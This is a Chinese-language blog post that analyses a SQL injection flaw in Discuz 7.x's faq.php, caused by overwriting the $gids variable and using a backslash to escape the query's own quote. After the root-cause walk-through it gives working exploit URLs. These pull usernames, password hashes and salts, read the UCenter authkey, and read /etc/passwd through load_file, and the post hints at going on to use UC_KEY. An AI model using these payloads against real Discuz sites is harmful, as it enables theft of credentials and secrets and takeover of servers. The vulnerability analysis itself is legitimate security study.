今天群里突然发出了Discuz 7.x的SQL注入漏洞POC,看了一下非常震惊, 这下互联网上又得是一片血雨腥风了。
POC和EXP都在乌云上公开了,官方补丁也出了,我就写一下漏洞分析吧。
0x01 漏洞分析
出漏洞的文件是/faq.php,是由于$gids变量覆盖导致的SQL注入。
详细分析如下,那个单引号逃逸还挺有意思的。
打开faq.php,就看到了在第11行的位置引入了/include/common.inc.php,而在这个文件中,DZ对GPC的变量做了逐一注册。
同时使用了daddslashes函数为变量进行转义。(这导致了高版本去掉魔术引号的PHP环境下同样通杀)
被覆盖的变量是$gids,第一次出现在第170行,我觉得php这种不提前声明变量就可以用确实是一个挺蛋疼的事情。
可以看到$gids未提前声明,直接在if条件语句中使用, 因此可以在之前通过GPC覆盖掉来控制$gids变量的值。
可以看到在if-else处理后,$gids为二维数组,且$gids[0]到$gids[4]会被程序修改覆盖,因此我们能够控制的变量只有$gids[5]及其以上的位置。
程序随后对$gids进行了排序,然后使用foreach把第二维数组的第一个元素添加到$groupids数组中。
ksort($gids); $groupids = array(); foreach($gids as $row) { $groupids[] = $row[0]; } $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
可以看到,$groupids经过implode拼接之后以 '变量1','变量2' 的形式插入到SQL语句中并执行。
此处的变量由单引号包裹,必须想办法闭合才能成功注入,那么现在有两条思路。
1、插入 ' 单引号闭合后边的单引号。
可是在GPC的时候DZ用daddslashes函数为 ' 转义,没办法用来闭合程序原有的单引号。
2、插入 \ 反斜杠转义程序原有的单引号。
可以反过来利用daddslashes为特殊字符进行的转义,即把 \ ' " 转义为 \\ \' \",在第一个元素位置增加了一个反斜杠,而这个就是我们要利用的。
在PHP中,字符串相当于字符数组,可以按下标访问字符串中的每一个字符,如下。
$row = 'abcde'; $row[0] = 'a'; $row[1] = 'b'; $row = '\\'; //$row[0]就是\
利用这个特性,就可以在$groupids中插入一个反斜杠,在用implode拼接后,可以用来转义程序自带的引号,这样就可以插入SQL注入语句了。
完整的POC如下:
http://demo/dz/faq.php ?action=grouppermission &gids[5]=\ &gids[6][0]=) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
执行流程是:
//假设$gids[4][0] = 7,其实在ksort之后key都变成012了,用456是为了直观 $gids[4][0] = 7; $gids[5] = '\\'; $gids[6][0] = ') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23'; foreach($gids as $row){ $groupids[] = $row[0]; } $groupids[4] = 7; $groupids[5] = '\';//这里是未转义的\ $groupids[6] = ') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23'; $implode = "'".implode("','", $groupids)."'"; // '7','\',') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#' $sql = "SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ($implode)"; /* SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\',') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#') */
如此一来,通过报错注入,就可以拿到数据库中的数据了,读文件也不是不可以啊~读到UC_KEY就能发挥想象力了~~
0x02 EXP
大招都是给EXP的。
1、爆密码
需要注意的是表名,默认安装的情况下是cdb_uc_members,如果有ucenter,那么就是uc_members。
如果这还没有,那么就得从information_schema中查库查表,再爆字段了。
/faq.php ?action=grouppermission &gids[99]=\ &gids[100][0]=) and (select 1 from (select count(*),concat((select concat(0x7c,username,0x7c,password,0x3a,salt,0x7c) from cdb_uc_members limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
2、读authkey,默认是从cdb_uc_applications表中读,同上。
/faq.php ?action=grouppermission &gids[5]=\ &gids[6][0]=) and (select 1 from (select count(*),concat(((select concat(0x7c,substr(authkey,1,62),0x7c) from cdb_uc_applications limit 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
3、读文件
读文件有个坑,报错只能显示64字符,有的时候读取内容太长了会提示子查询过多,因此只能一点一点的读取了。
这个POC是读/etc/passwd的,找到UC_KEY位置后自行替换,不过注意得有读权限。
/faq.php ?action=grouppermission &gids[99]=\ &gids[100][0]=) and (select 1 from (select count(*),concat((select substring(load_file(0x2f6574632f706173737764),1,64)),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
留言交流